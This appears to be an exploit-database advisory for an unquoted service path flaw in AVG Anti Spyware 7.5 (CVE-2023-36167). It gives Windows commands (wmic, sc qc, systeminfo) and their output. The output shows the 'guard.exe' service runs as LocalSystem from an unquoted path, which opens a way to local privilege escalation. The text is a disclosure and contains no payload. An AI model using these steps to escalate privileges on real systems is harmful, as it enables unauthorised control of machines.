AVG Anti Spyware version 7.5 suffers from an unquoted service path vulnerability.
4626fff738637fd6ad761ce20fc3f9fe7263941973f44e4480bd61f5c0a9d8fb
# Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.avg.com
# Software Link: https://www.avg.com/en-ww/homepage#pc
# Version: 7.5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36167
#PoC
C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
AVG Anti-Spyware Guard AVG Anti-Spyware Guard C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe Auto
C:\Users>sc qc "AVG Anti-Spyware Guard"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AVG Anti-Spyware Guard
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : AVG Anti-Spyware Guard
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users>systeminfo
Host Name: DESKTOP-LA7J17P
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19042 N/A Build 19042
OS Manufacturer: Microsoft Corporation